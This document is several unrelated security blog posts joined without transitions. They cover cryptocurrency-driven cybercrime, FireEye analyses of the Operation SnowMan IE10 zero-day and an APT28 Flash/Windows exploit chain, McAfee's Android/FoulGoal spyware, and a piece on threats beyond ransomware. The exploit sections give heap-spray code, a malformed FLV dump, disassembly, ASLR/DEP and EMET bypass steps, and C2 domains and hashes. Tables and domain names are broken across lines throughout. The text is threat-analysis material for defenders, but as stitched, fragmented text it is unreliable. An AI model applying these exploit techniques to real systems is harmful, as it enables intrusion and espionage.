Blessing and Curse The surge of Bitcoin popularity and price per coin piqued the interest of cybercriminals, driving cryptocurrency hijacking in the last quarter of 2017.
However, the same popularity and price jump also created a headache for bad actors.
Ransomware techniques and the buying and selling of goods became problematic.
The volatility of the Bitcoin market makes ransom costs hard to predict at the time of infection and costs can surge upwards of $28 per transaction, complicating a criminal campaign.
The volatility made mining, the act of using system resources to “mint” cryptocurrency, exceedingly difficult and raised transaction prices.
This was especially true for Bitcoin, due its high hash rate of the network.
(The higher the hash rate, the more people they compete against.)
Cybercriminals will always seek to combine the highest returns in the shortest time with the least risk.
With the Bitcoin surge, malware developers and underground markets found themselves in need of more stability, prompting a switch to other currencies and a resurgence of old techniques.
It is far easier to mine small currencies because the hash rate is generally more manageable and hardware requirements can be more accessible depending on the network design.
Monero, for example, is ASIC resistant, meaning that while mining specialized hardware does not have an overwhelming advantage to nonspecialized hardware.
This allows the average computer to be more effective at the task.
Due to this advantage, Monero is actively mined in mass by criminals using web-based miners on the machines of unsuspecting visitors.
This intrusion is known as cryptojacking, which works by hijacking the browser session to use system resources.
A quick look at recent examples of cryptojacking throws light on this issue.
Starting mid-2017, there have been a slew of instances in which major websites have found themselves compromised and unwittingly hosting the code, turning their users into mining bots.
The public Wi-Fi at a Starbucks outlet was found to hijack browsers to mine Monero.
Even streaming services such as YouTube have been affected through infected ads .
Ironically, Monero is said to be one of the most private cryptocurrencies.
Attacks such as these have also happened on Bitcoin, NEM, and Ethereum.
Criminals are also leveraging techniques beyond mining, such as cryptocurrency address or wallet hijacking.
For example, Evrial, a Trojan for sale on underground markets, watches the Windows clipboard and replaces any cryptocurrency wallet addresses with its own malicious address.
Essentially, this hijacks a user’s intended payment address to redirect funds.
Unwitting users could accidentally pay a bad actor, losing their coins with essentially no chance of recovery.
A Brief Timeline Cybercriminals have always faced the difficulty of securing their profits from government eyes.
For the cybercriminal, banks present risk.
If a transfer is deemed illegal or fraudulent, the bank transfer can easily be traced and seized by the bank or law enforcement.
Trading in traditional currencies requires dealing with highly regulated entities that have a strong motivation to follow the rules.
Any suspicious activity on their systems could easily result in the seizure of funds.
Cybercriminals have long tried to solve this problem using various digital currencies, the prelude to cryptocurrencies.
When cryptocurrencies were introduced to the world, cybercriminals were quick to adapt.
However, with this adoption came Trojans, botnets, and other hacker activities designed specifically for the new technology.
The evolution of digital currencies.
Despite various attacks from bad actors, digital money continues to evolve.
1996: E-gold appeared, and quickly became popular with cybercriminals due to its lack of verification on accounts.
This was certainly welcome among “carder groups” such as ShadowCrew, which trafficked in stolen credit cards and other financial accounts.
However, with three million accounts, e-gold’s popularity among criminals also caused its demise: It was taken down just 10 years later by the FBI, even after attempts in 2005 to rein in criminal activity.
Accounts were seized and the founder indicted, collapsing all e-gold operations.
2005:
Needing another avenue after the collapse of e-gold, cybercriminals migrated to WebMoney, established in 1998.
Unlike e-gold, WebMoney successfully discouraged the bulk of cybercriminals by modifying business practices to prevent illegal activities.
This kept the organization alive but pushed many cybercriminals to find a new payment system.
2006:
Liberty Reserve took on much of the burgeoning cybercriminal demand.
The institution got off to a rocky start with cybercriminals due to the almost immediate arrest of its founders.
The company’s assets were seized in 2013—causing an estimated $6 billion in lost criminal funds.
2009:
Cybercriminals were increasingly desperate for a reliable and safe payment system.
Enter Bitcoin, a decentralized, pseudo-anonymous payment system built on blockchain technology.
With WebMoney usage growing increasingly difficult for cybercriminals and Liberty Reserve under scrutiny from world governments, cybercriminals required something new.
Within the Bitcoin network, no central authority had the power to make decisions or otherwise seize funds.
These protections against centralized seizures, as well as many of its anonymity features, were a major influence in the migration of cybercriminals to Bitcoin.
Game Changers By 2013 cybercriminals had a vested interest in cryptocurrencies, primarily Bitcoin.
Cryptocurrency-related malware was in full swing, as evidenced by increasingly sophisticated botnet miner kits such as BitBot.
Large enterprises such as Silk Road, primarily a drug market, thrived on the backbone of cryptocurrency popularity.
Then three major events dramatically changed the way cybercriminals operated.
Silk Road closed:
The popular black market and first major modern cryptocurrency “dark net” market was shut down by the FBI.
The market was tailored to drug sales, and the FBI takedown left its buyers and sellers without a place to sell their goods.
The migration of buyers and sellers to less restrictive markets enabled cross-sales to a much larger audience than was previously available to cybercriminals.
Buyers of drugs could now also buy stolen data—including Netflix accounts or credit cards—from new markets such as AlphaBay as demand increased.
Major retailers breached: Millions of credit card records were stolen and available, raising the demand for underground markets to buy and sell the data.
Dark net markets already offering malware and other goods and services took up the load.
Agora, Black Market Reloaded and, shortly thereafter, AlphaBay responded to that demand.
Although many of these markets were scams, a few such as AlphaBay, which survived until its July 2017 takedown, were hugely successful.
Through these markets, cybercriminals had access to a much larger audience and could benefit from centralized structures and advertising.
The demand for other types of stolen data rose even more, particularly streaming media accounts and personally identifiable information, which carries a high financial return for cybercriminals.
In the past, many of the credit card records were sold on forums and other specialized carding sites, such as Rescator.
The new supply of credit card data was so massive, however, that it enabled secondhand sales and migration into broader markets.
Dark net markets were simply more scalable than forums, thus enabling their further growth.
New players joining the game now had easy access to goods, stolen data, and customers.
This shift reshaped and enabled retail targeting as it exists today.
Cryptocurrency-based ransomware introduced: Outside of dark net markets, malware developers sought to acquire cryptocurrencies.
Prior to 2013 the primary method to maliciously acquire coin was through mining.
Less effective methods included scams, such as TOR-clone sites, fake markets, or Trojans designed to steal private keys to wallets.
By late 2013 malware developers and botnet owners sold their malware at a premium by including mining software alongside the usual items such as credit cards and password scrapers.
However, at a cost of around $250 per coin, Bitcoin miners did not immediately see higher profits than they could manage with focused scraper malware.
Criminals needed more reliable ways of acquiring coins.
Ransomware, a potentially lucrative form of malware, was already on the rise using other digital currencies.
In late 2013, the major ransomware family CryptoLocker included a new option for ransomware victims—to pay via Bitcoin.
The tactic effectively created a frenzy of copycat malware.
Now malware developers could outpace the profits of scraper malware as well as secure currency for the underground market.
Ransomware quickly enjoyed several immensely successful campaigns, many of which, including Locky and Samsa, are still popular.
Open-source tools such as Hidden Tear allowed low-skilled players to enter the market and acquire cryptocurrencies through ransomware with only limited coding knowledge.
The thriving model ransomware as a service emerged with TOX, sold via a TOR hidden service in 2015.
The use of cryptocurrencies by malicious actors has grown substantially since their inception in 2009.
Cryptocurrencies meet a need and have been exploited in ever-evolving ways since their introduction.
The influence of cryptocurrencies on underground markets, malware development, and attackers behavior cannot be understated.
As markets change and adopt cryptocurrencies, we will surely see further responses from cybercriminals.
Resources https://securingtomorrow.mcafee.com/business/exploring-correlation-bitcoins-boom-evrials-capabilities/ https://securingtomorrow.mcafee.com/mcafee-labs/darknet-markets-will-outlive-alphabay-hansa-takedowns/ https://blogs.mcafee.com/mcafee-labs/weve-hacked-okay-ill-deal-next-week/ https://www.mcafee.com/us/resources/reports/rp-quarterly-threat-q1-2014.pdf https://securingtomorrow.mcafee.com/mcafee-labs/meet-tox-ransomware-for-the-rest-of-us/ https://www.forbes.com/sites/forbestechcouncil/2017/08/03/how-cryptocurrencies-are-fueling-ransomware-attacks-and-other-cybercrimes/2/#25d727c56144 https://threatpost.com/new-ransomware-scam-accepts-bitcoin-payment/102632/
https://www.mcafee.com/threat-center/threat-landscape-dashboard/ “Dynamic Changes in Underground Markets,” by Charles McFarland.
Cyber Security Practitioner, Vol.
2, Issue 11.
November 2016.
https://en.wikipedia.org/wiki/Silk_Road_(marketplace) https://www.mcafee.com/us/resources/white-papers/wp-digital-laundry.pdf https://en.wikipedia.org/wiki/Liberty_Reserve https://securingtomorrow.mcafee.com/mcafee-labs/delving-deeply-into-a-bitcoin-botnet https://arstechnica.com/tech-policy/2017/12/bitcoin-fees-rising-high/ https://www.bleepingcomputer.com/news/security/venuslocker-ransomware-gang-switches-to-monero-mining/ https://securingtomorrow.mcafee.com/mcafee-labs/malware-mines-steals-cryptocurrencies-from-victims/
https://www.theverge.com/2017/9/26/16367620/showtime-cpu-cryptocurrency-monero-coinhive https://gizmodo.com/hackers-hijacking-cpus-to-mine-cryptocurrency-have-now-1822466650 https://techcrunch.com/2018/02/12/browsealoud-coinhive-monero-mining-hack/ https://www.fbi.gov/news/stories/alphabay-takedown https://securingtomorrow.mcafee.com/mcafee-labs/free-ransomware-available-dark-web/
https://www.bbc.com/news/technology-42338754
On February 11, FireEye identified a zero-day exploit (CVE-2014-0322)
being served up from the U.S. Veterans of Foreign Wars’ website (vfw[.
]org).
We believe the attack is a strategic Web compromise targeting American military personnel amid a paralyzing snowstorm at the U.S. Capitol in the days leading up to the Presidents Day holiday weekend.
Based on infrastructure overlaps and tradecraft similarities, we believe the actors behind this campaign are associated with two previously identified campaigns ( Operation DeputyDog and Operation Ephemeral Hydra ).
This blog post examines the vulnerability and associated attacks, which we have dubbed “Operation SnowMan.\" Exploit/Delivery analysis After compromising the VFW website, the attackers added an iframe into the beginning of the website’s HTML code that loads the attacker’s page in the background.
The attacker’s HTML/JavaScript page runs a Flash object, which orchestrates the remainder of the exploit.
The exploit includes calling back to the IE 10 vulnerability trigger, which is embedded in the JavaScript.
Specifically, visitors to the VFW website were silently redirected through an iframe to the exploit at www.
[REDACTED].com/
Data/img/img.html.
Mitigation The exploit targets IE 10 with Adobe Flash.
It aborts exploitation if the user is browsing with a different version of IE or has installed Microsoft’s Experience Mitigation Toolkit (EMET).
So installing EMET or updating to IE 11 prevents this exploit from functioning.
Vulnerability analysis The vulnerability is a previously unknown use-after-free bug in Microsoft Internet Explorer 10.
The vulnerability allows the attacker to modify one byte of memory at an arbitrary address.
The attacker uses the vulnerability to do the following: Gain access to memory from Flash ActionScript, bypassing address space layout randomization (ASLR) Pivot to a return-oriented programing (ROP) exploit technique to bypass data execution prevention (DEP) EMET detection The attacker uses the Microsoft.
XMLDOM ActiveX control to load a one-line XML string containing a file path to the EMET DLL.
Then the exploit code parses the error resulting from the XML load order to determine whether the load failed because the EMET DLL is not present.
The exploit proceeds only if this check determines that the EMET DLL is not present.
ASLR bypass Because the vulnerability allows attackers to modify memory to an arbitrary address, the attacker can use it to bypass ASLR.
For example, the attacker corrupts a Flash Vector object and then accesses the corrupted object from within Flash to access memory.
We have discussed this technique and other ASLR bypass approaches in our blog .
One minor difference between the previous approaches and this attack is the heap spray address, which was changed to 0x1a1b2000 in this exploit.
Code execution
Once the attacker’s code has full memory access through the corrupted Flash Vector object, the code searches through loaded libraries gadgets by machine code.
The attacker then overwrites the vftable pointer of a flash.
Media.
Sound() object in memory to point to the pivot and begin ROP.
After successful exploitation, the code repairs the corrupted Flash Vector and flash.
Media.
Sound to continue execution.
Shellcode analysis
Subsequently, the malicious Flash code downloads a file containing the dropped malware payload.
The beginning of the file is a JPG image; the end of the file (offset 36321) is the payload, encoded with an XOR key of 0x95.
The attacker appends the payload to the shellcode before pivoting to code control.
Then, when the shellcode is executed, the malware creates files “sqlrenew.txt” and “stream.exe”.
The tail of the image file is decoded, and written to these files.
“sqlrenew.txt” is then executed with the LoadLibraryA Windows API call.
ZxShell payload analysis As documented above, this exploit dropped an XOR (0x95) payload that executed a ZxShell backdoor (MD5: 8455bbb9a210ce603a1b646b0d951bce).
The compile date of the payload was 2014-02-11, and the last modified date of the exploit code was also 2014-02-11.
This suggests that this instantiation of the exploit was very recent and was deployed for this specific strategic Web compromise of the Veterans of Foreign Wars website.
A possible objective in the SnowMan attack is targeting military service members to steal military intelligence.
In addition to retirees, active military personnel use the VFW website.
It is probably no coincidence that Monday, Feb. 17, is a U.S. holiday, and much of the U.S. Capitol shut down Thursday amid a severe winter storm.
The ZxShell backdoor is a widely used and publicly available tool used by multiple threat actors linked to cyber espionage operations.
This particular variant called back to a command and control server located at newss[.]effers[.
]com.
This domain currently resolves to 118.99.60.142.
The domain info[.]flnet[.
]org also resolved to this IP address on 2014-02-12.
Infrastructure analysis The info[.]flnet[.
]org domain overlaps with icybin[.]flnet[.
]org and book[.]flnet[.
]org via the previous resolutions to the following IP addresses: 58.64.200.178 58.64.200.179
103.20.192.4 First Seen Last Seen CnC Domain IP 2013-08-31 2013-08-31 2013-08-31 2013-08-31 icybin.flnet[.
]org icybin.flnet[.
]org 58.64.200.178 58.64.200.178 2013-05-02 2013-05-02 2013-08-02 2013-08-02 info.flnet[.
]org info.flnet[.
]org 58.64.200.178 58.64.200.178 2013-08-02 2013-08-02 2013-08-02 2013-08-02 book.flnet[.
]org book.flnet[.
]org 58.64.200.178 58.64.200.178 2013-08-10 2013-08-10 2013-08-10 2013-08-10 info.flnet[.
]org info.flnet[.
]org 58.64.200.179 58.64.200.179 2013-07-15 2013-07-15 2013-07-15 2013-07-15 icybin.flnet[.
]org icybin.flnet[.
]org 58.64.200.179 58.64.200.179 2014-01-02 2014-01-02 2014-01-02 2014-01-02 book.flnet[.
]org book.flnet[.
]org 103.20.192.4 103.20.192.4 2013-12-03 2013-12-03 2014-01-02 2014-01-02 info.flnet[.
]org info.flnet[.
]org 103.20.192.4 103.20.192.4
We previously observed Gh0stRat samples with the custom packet flag “HTTPS” calling back to book[.]flnet[.
]org and icybin[.]flnet[.
]org.
The threat actor responsible for Operation DeputyDog also used the “HTTPS” version of the Gh0st .
We also observed another “HTTPS” Gh0st variant connecting to a related command and control server at me[.]scieron[.
]com.
MD5 Hash CnC Domain 758886e58f9ea2ff22b57cbbb015166e 758886e58f9ea2ff22b57cbbb015166e book.flnet[.
]org book.flnet[.
]org 0294f9280491f85d898ebe471f0fb58e 0294f9280491f85d898ebe471f0fb58e icybin.flnet[.
]org icybin.flnet[.
]org 9d20566a327076b7152bbf9ed20292c4 9d20566a327076b7152bbf9ed20292c4 me.scieron[.
]com
me.scieron[.
]com The me[.]scieron[.
]com domain previously resolved to 58.64.199.22.
The book[.]flnet[.
]org domain also resolved to another IP in the same subnet 58.64.199.0/24.
Specifically, book[.]flnet[.
]org previously resolved to 58.64.199.27.
Others domain seen resolving to this same /24 subnet were dll[.]freshdns[.
]org, ali[.]blankchair[.
]com, and cht[.]blankchair[.
]com.
The domain dll[.]freshdns[.
]org resolved to 58.64.199.25.
Both ali[.]blankchair[.
]com and cht[.]blankchair[.
]com resolved to 58.64.199.22.
First Seen Last Seen CnC Domain IP 2012-11-12 2012-11-12 2012-11-28 2012-11-28 me.scieron[.
]com me.scieron[.
]com 58.64.199.22 58.64.199.22 2012-04-09 2012-04-09 2012-10-24 2012-10-24 cht.blankchair[.
]com cht.blankchair[.
]com 58.64.199.22 58.64.199.22 2012-04-09 2012-04-09 2012-09-18 2012-09-18 ali.blankchair[.
]com ali.blankchair[.
]com 58.64.199.22 58.64.199.22 2012-11-08 2012-11-08 2012-11-25 2012-11-25 dll.freshdns[.
]org dll.freshdns[.
]org 58.64.199.25 58.64.199.25 2012-11-23 2012-11-23 2012-11-27 2012-11-27 rt.blankchair[.
]com rt.blankchair[.
]com 58.64.199.25 58.64.199.25 2012-05-29 2012-05-29 2012-6-28 2012-6-28 book.flnet[.
]org book.flnet[.
]org 58.64.199.27 58.64.199.27 A number of other related domains resolve to these IPs and other IPs also in this /24 subnet.
For the purposes of this blog, we’ve chosen to focus on those domains and IP that relate to the previously discussed DeputyDog and Ephemeral Hydra campaigns.
You may recall that dll[.]freshdns[.
]org, ali[.]blankchair[.
]com and cht[.]blankchair[.
]com were all linked to both Operation DeputyDog and Operation Ephemeral Hydra .
Figure 1 illustrates the infrastructure overlaps and connections we observed between the strategic Web compromise campaign leveraging the VFW’s website, the DeputyDog, and the Ephemeral Hydra operations.
Figure 1:
Ties between Operation SnowMan, DeputyDog, and Ephemeral Hydra Links to DeputyDog and Ephemeral Hydra Other tradecraft similarities between the actor(s) responsible for this campaign and the actor(s) responsible for the DeputyDog/Ephemeral Hydra campaigns include: The use of zero-day exploits to deliver a remote access Trojan (RAT)
The use of strategic web compromise as a vector to distribute remote access Trojans The use of a simple single-byte XOR encoded (0x95) payload obfuscated with a .jpg extension The use of Gh0stRat with the “HTTPS” packet flag The use of related command-and-control (CnC) infrastructure during the similar time frames We observed many similarities from the exploitation side as well.
At a high level, this attack and the CVE-2013-3163 attack both leveraged a Flash file that orchestrated the exploit, and would call back into IE JavaScript to trigger an IE flaw.
The code within the Flash files from each attack are extremely similar.
They build ROP chains and shellcode the same way, both choose to corrupt a Flash Vector object, have some identical functions with common typos, and even share the same name.
Conclusion These actors have previously targeted a number of different industries, including: U.S. government entities Japanese firms Defense industrial base (DIB) companies Law firms Information technology (IT) companies Mining companies Non-governmental organizations (NGOs)
The proven ability to successfully deploy a number of different private and public RATs using zero-day exploits against high-profile targets likely indicates that this actor(s) will continue to operate in the mid to long-term.
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FireEye Labs recently detected a limited APT campaign exploiting zero-day vulnerabilities in Adobe Flash and a brand-new one in Microsoft Windows.
Using the Dynamic Threat Intelligence Cloud (DTI) , FireEye researchers detected a pattern of attacks beginning on April 13 th , 2015.
Adobe independently patched the vulnerability (CVE-2015-3043) in APSB15-06 .
Through correlation of technical indicators and command and control infrastructure, FireEye assess that APT28 is probably responsible for this activity.
Microsoft is aware of the outstanding local privilege escalation vulnerability in Windows (CVE-2015-1701).
While there is not yet a patch available for the Windows vulnerability, updating Adobe Flash to the latest version will render this in-the-wild exploit innocuous.
We have only seen CVE-2015-1701 in use in conjunction with the Adobe Flash exploit for CVE-2015-3043.
The Microsoft Security Team is working on a fix for CVE-2015-1701.
Exploit Overview
The high level flow of the exploit is as follows: 1.
User clicks link to attacker controlled website 2.
HTML/JS launcher page serves Flash exploit 3.
Flash exploit triggers CVE-2015-3043, executes shellcode 4.
Shellcode downloads and runs executable payload 5.
Executable payload exploits local privilege escalation (CVE-2015-1701) to steal System token The Flash exploit is served from unobfuscated HTML/JS.
The launcher page picks one of two Flash files to deliver depending upon the target’s platform (Windows 32 versus 64bits).
The Flash exploit is mostly unobfuscated with only some light variable name mangling.
The attackers relied heavily on the CVE-2014-0515 Metasploit module, which is well documented.
It is ROPless, and instead constructs a fake vtable for a FileReference object that is modified for each call to a Windows API.
The payload exploits a local privilege escalation vulnerability in the Windows kernel if it detects that it is running with limited privileges.
It uses the vulnerability to run code from userspace in the context of the kernel, which modifies the attacker’s process token to have the same privileges as that of the System process.
CVE-2015-3043 Exploit The primary difference between the CVE-2014-0515 metasploit module and this exploit is, obviously, the vulnerability.
CVE-2014-0515 exploits a vulnerability in Flash’s Shader processing, whereas CVE-2015-3043 exploits a vulnerability in Flash’s FLV processing.
The culprit FLV file is embedded within AS3 in two chunks, and is reassembled at runtime.
Vulnerability A buffer overflow vulnerability exists in Adobe Flash Player (<=17.0.0.134) when parsing malformed FLV objects.
Attackers exploiting the vulnerability can corrupt memory and gain remote code execution.
In the exploit, the attacker embeds the FLV object directly in the ActionScript code, and plays the video using NetStream class.
In memory, it looks like the following: 0000000: 46 4c 56 01 05 00 00 00 09 00 00 00 00 12 00 00  FLV............. 0000010: f4 00 00 00 00 00 00 00 02 00 0a 6f 6e 4d 65 74  ...........onMet 0000020:
61 44 61 74 61 08 00 00 00 0b 00 08
64 75 72 61  aData.......dura 0000030: 74 69 6f 6e 00 40 47
ca 3d 70 a3 d7 0a 00 05
77  tion.
@G.=p.....w 0000040: 69 64 74 68 00 40 74 00 00 00 00 00 00 00 06
68  idth.
@t........
h 0000050:
65 69 67 68 74 00 40 6e 00 00 00 00 00 00 00
0d  eight.
@n........
0000060:
76 69 64 65 6f 64 61 74 61 72 61 74 65 00 00 00
videodatarate... …..
0003b20: 27 6e ee 72 87 1b 47 f7 41 a0 00 00 00 3a 1b 08
'n.r..G.A....:
..
0003b30: 00 04 41 00 00 0f 00 00 00 00
68 ee ee ee ee ee  ..
A.......h.....
0003b40:
ee ee ee ee ee ee ee ee ee ee ee ee ee ee ee ee  ................
0003b50: ee ee ee ee ee ee ee ee ee ee ee ee ee ee ee ee  ................
0003b60:
ee ee ee ee ee ee ee ee ee ee ee ee ee ee ee ee  ................
Files of the FLV file format contain a sequence of Tag structures.
In Flash, these objects are created when parsing FLV
Tags: .text:1018ACE9
sub_1018ACE9    proc near               ; CODE XREF: sub_1018BBAC+2Bp .text:1018ACE9                                         ; sub_10192797+1A1p ...
.text:1018ACE9 .text:1018ACE9
arg_0           = dword ptr  4 .text:1018ACE9 .text:1018ACE9                 mov     eax, ecx .text:1018ACEB
mov     ecx, [esp+arg_0] .text:1018ACEF
mov     dword ptr [eax], offset off_10BA771C .text:1018ACF5
mov     dword ptr [eax+24h], 1 .text:1018ACFC                 and     dword ptr [eax+14h], 0 .text:1018AD00
mov     [eax+28h], ecx .text:1018AD03
mov     byte ptr [eax+20h], 0 .text:1018AD07
retn    4 .text:1018AD07 sub_1018ACE9    endp In the case of this exploit, a Tag structure begins at offset 0x3b2f into the FLV stream that, when parsed, populates the Tag structure as follows:
Tag 2: UINT_8 type: 8 UINT_24 datasize: 1089 UINT_24 timestamp: 15 UINT_8 timestamphi: 0 UINT_24 streamid: 0 UINT_4 fmt: 6 UINT_2 sr: 2 UINT_1 bits: 0
UINT_1 channels: 0 UBYTE data[1088]: \\xee\\xee\\xee\\xee… UINT_32 lastsize: 0xeeeeeeee
Beginning within the data field, all contents of the FLV stream become 0xEE.
Consequently, the data and lastsize fields are mangled, and one final tag technically exists consisting exclusively of 0xEE:
Tag 3: UINT_8 type: 0xEE UINT_24 datasize: 0xEEEEEE … One can see the datasize field of Tag2 populated from the attacker's FLV stream below: .text:10192943
mov     eax, [ebx+24h] .text:10192946
mov     [esi+14h], eax .text:10192949
movzx   eax, byte ptr [ebx+19h] ; 00 .text:1019294D
movzx   ecx, byte ptr [ebx+1Ah] ; 04 .text:10192951
shl     eax, 8 .text:10192954                 or      eax, ecx .text:10192956
movzx   ecx, byte ptr [ebx+1Bh] ; 41 .text:1019295A
shl     eax, 8 .text:1019295D                 or      eax, ecx .text:1019295F
mov     ecx, ebx .text:10192961
mov     [esi+0Ch], eax  ; 0x441 .text:10192964
call    sub_1002E2B3
The buffer is allocated with fixed size 0x2000: .text:101A647E
push    2000h .text:101A6483
mov     ecx, esi .text:101A6485                 call    sub_101A6257    ; alloc 0x2000 buffer, store in esi+0xDC …… .text:101A627F
push    0 .text:101A6281                 push    edi             ; 0x2000 .text:101A6282
call    sub_105EBEB0 .text:101A6287                 pop     ecx .text:101A6288                 pop     ecx .text:101A6289                 mov     [esi+0DCh], eax Since the size is controlled by the attacker, it’s possible to overflow the fixed size buffer with certain data.
A datasize of 0x441 results in a value here of 0x1100 passed to sub_100F88F8, which memcopies 0x2200 bytes in 0x11 chunks of 0x200.
The last memcpy overflows the fixed size 0x2000 buffer into a adjacent heap memory.
Attackers spray the heap with array of Vector, 0x7fe * 4 + 8 ==
0x2000, and create holes of such size, which will be allocated by the said object.
while (_local_2 < this._bp35) // _bp35 ==
0x2000 { this._ok47[_local_2] = new Vector.<uint>(this._lb60); // _lb60 ==
0x07FE _local_3 = 0x00; while (_local_3 < this._lb60) { this._ok47[_local_2][_local_3]
= 0x41414141; _local_3++; }; _local_2 = (_local_2 + 0x01); }; _local_2 = 0x00; while (_local_2 < this._bp35) { this._ok47[_local_2] = null; _local_2 = (_local_2 + 0x02); }; As the previous picture demonstrated, the followed Vector object’s length field being overflowed as 0x80007fff, which enables the attacker to read/write arbitrary data within user space.
Shellcode Shellcode is passed to the exploit from HTML in flashvars.
The shellcode downloads the next stage payload, which is an executable passed in plaintext, to the temp directory with UrlDownloadToFileA, which it then runs with WinExec.
Payload & C2
This exploit delivers a malware variant that shares characteristics with the APT28 backdoors CHOPSTICK and CORESHELL malware families, both described in our APT28 whitepaper .
The malware uses an RC4 encryption key that was previously used by the CHOPSTICK backdoor.
And the C2 messages include a checksum algorithm that resembles those used in CHOPSTICK backdoor communications.
In addition, the network beacon traffic for the new malware resembles those used by the CORESHELL backdoor.
Like CORESHELL, one of the beacons includes a process listing from the victim host.
And like CORESHELL, the new malware attempts to download a second-stage executable.
One of the C2 locations for the new payload, 87.236.215[.
]246 , also hosts a suspected APT28 domain ssl-icloud[.
]com .
The same subnet ( 87.236.215.0/24 ) also hosts several known or suspected APT28 domains, as seen in Table 1.
The target firm is an international government entity in an industry vertical that aligns with known APT28 targeting.
CVE-2015-1701 Exploit The payload contains an exploit for the unpatched local privilege escalation vulnerability CVE-2015-1701 in Microsoft Windows.
The exploit uses CVE-2015-1701 to execute a callback in userspace.
The callback gets the EPROCESS structures of the current process and the System process, and copies data from the System token into the token of the current process.
Upon completion, the payload continues execution in usermode with the privileges of the System process.
Because CVE-2015-3043 is already patched, this remote exploit will not succeed on a fully patched system.
If an attacker wanted to exploit CVE-2015-1701, they would first have to be executing code on the victim’s machine.
Barring authorized access to the victim’s machine, the attacker would have to find some other means, such as crafting a new Flash exploit, to deliver a CVE-2015-1701 payload.
Microsoft is aware of CVE-2015-1701 and is working on a fix.
CVE-2015-1701 does not affect Windows 8 and later.
Acknowledgements Thank you to all of the contributors to this blog!
The following people in FireEye:
Dan Caselden, Yasir Khalid, James “Tom” Bennett, GenWei Jiang, Corbin Souffrant, Joshua Homan, Jonathan Wrolstad, Chris Phillips, Darien Kindlund Microsoft & Adobe security teams Subscribe to Blogs Get email updates as new blog posts are added.
By Raj Samani on Jul 12, 2018
This blog post was co-written by Irfan Asrar.
English soccer fans have enthusiastically enjoyed the team’s current run in the World Cup, as the tune “Three Lions” plays in their heads, while hoping to end 52 years of hurt.
Meanwhile a recent spyware campaign distributed on Google Play has hurt fans of the beautiful game for some time.
Using major events as social engineering is nothing new, as phishing emails have often taken advantage of disasters and sporting events to lure victims.
“Golden Cup” is the malicious app that installs spyware on victims’ devices.
It was distributed via Google Play, and “offered” the opportunity to stream games and search for records from the current and past World Cups.
McAfee Mobile Security identifies this threat as Android/FoulGoal.
A; Google has removed the malicious applications from Google Play.
Once Golden Cup is installed it appears to be a typical sporting app, with multimedia content and general information about the event.
Most of this data comes from a web service without malicious activity.
However, in the background and without user consent the app silently transfers information to another server.
Data captured Golden Cup captures a considerable amount of encrypted data from the victim’s device: Phone number Installed packages Device model, manufacturer, serial number Available internal storage capacity Device ID Android version IMEI, IMSI
This spyware may be just the first stage of a greater infection due to its capability to load dex files from remote sources.
The app connects to its control server and tries to download, unzip, and decrypt a second stage.
Android/FoulGoal.
A detects when the screen is on or off and records this in its internal file scrn.txt, with the strings “on” or “off” to track when users are looking at their screens: The Message Queuing Telemetry Transport protocol serves as the communication channel between the device and the malicious server to send and receive commands.
Data encryption User data is encrypted with AES before it is sent to the control server.
Cryptor class provides the encryption and decryption functionality.
The doCrypto function is defined as a common function.
As the first parameter of the function, “1” represents encryption and “2” is decryption mode:
The encryption key is generated dynamically using the SecureRandom function, which generates a unique value on the device to obfuscate the data.
The addKey function embeds the encryption key into the encryption data.
The data with the key is uploaded to the control server.
We believe the malware author uses this AES encryption technique for any information to be uploaded to escape the detection by Google Bouncer and network inspection products.
Our initial analysis suggests there were at least 300 infections, which we suspect occurred between June 8‒12, before the first World Cup matches began.
The second round The second phase of the attack leverages an encrypted dex file.
The file has a .data extension and is downloaded and dynamically loaded by the first-stage malware; it is extracted with the same mechanism used to upload the encrypted files.
The location of the decryption key can be identified from the size of the contents and a fixed number in the first-stage malware.
After decryption, we can see out.dex in zipped format.
The dex file has spy functions to steal SMS messages, contacts, multimedia files, and device location from infected devices.
The control server in second stage is different from the first stage’s.
The encryption methodology and the server folder structures on the remote server are identical to the first stage.
We found one victim’s GPS location information and recorded audio files (.3gp) among the encrypted data on the control server.
Variants We have also discovered two other variants of this threat created by the same authors and published to Google Play as dating apps.
Although all the apps have been removed from Google Play, we still see indications of infections from our telemetry data, so we know these apps are active on some users’ devices.
Our telemetry data indicates that although users around the world have downloaded the app, the majority of downloads took place in the Middle East, most likely as a result of a World Cup–themed Twitter post in Hebrew directing people to download the app for a breakdown of the latest events.
McAfee Mobile Security users are protected against all the variants of this threat, detected as   Android/FoulGoal.
A.
The recent DarkSide attack makes it clear: no system is safe from ransomware.
And while the attackers say they weren’t out to hurt anyone, only to make money, the impact is the same.
It could lead to potential disruptions of critical services across the country.
At the same time, it stokes fears that similar attacks could happen more often in the future.
The long-term outcome of these attacks, however, is a hyper-focus on ransomware as the top threat to governments and enterprises.
For example, the federal government recently pledged billions of dollars to fight ransomware.
There’s no doubt that ransomware remains a major (and evolving) risk.
However, this IT tunnel vision makes it easy to miss the forest for the trees.
You don’t want to let distributed-denial-of-service (DDoS) attacks and other problems slip behind network defenses unnoticed.
Here’s a look at four threats just as frightening as ransomware, and what enterprises can do about them.
Third-Party Software Problems Third-party software solutions are key to keeping business running smoothly, but come with the risk of undetected or zero-day threats.
Left unchecked, at-risk third-party programs could provide lateral access points for threat actors to compromise key systems.
Consider the SolarWinds attack in February.
Threat actors managed to infiltrate a software update package with malicious code.
They then pushed it out to more than 18,000 businesses, along with government agencies such as the U.S. Department of Homeland Security and the Department of the Treasury.
The most frightening part of this third-party problem?
Trust.
Companies remain vigilant for ransomware attacks on their networks.
Meanwhile, trusted third-party providers often get a free pass into corporate systems because they’ve never been the source of problems in the past.
The result is an infosec complacency that can lead to serious security risk.
On average, it now takes 280 days for companies to detect security risks, even when they’re actively looking.
The solution starts with zero trust security .
By setting up protective frameworks that use authentication rather than assumption, enterprises can reduce the risk of third-party compromise.
It’s worth taking the time to look at all third-party interactions, even those deemed safe in the past.
This increases the chances of detection and identification of security risks outside the network perimeter.
MITM Attacks The rising use of remote connections has created a perfect storm for man-in-the-middle (MITM) malware attacks.
This type of attack listens in on digital connections and could exfiltrate key data.
Often designed for minimal impact, these attacks can go unnoticed for weeks or months.
In the past, the fear around MITM attacks has been the risk of data eavesdropping.
People feared threat actors could capture unencrypted data, such as plaintext emails, and then use it to compromise systems at scale.
As noted by Ars Technica , however, MITM attacks are now evolving to target supposedly secure HTTPS protected websites.
Known as cross-protocol attacks, these efforts leverage the function of transport layer security protocols.
With them, they can protect the integrity of TCP connections rather than the server itself.
This makes it possible for attackers to redirect HTTPS traffic to a substitute file transfer protocol server.
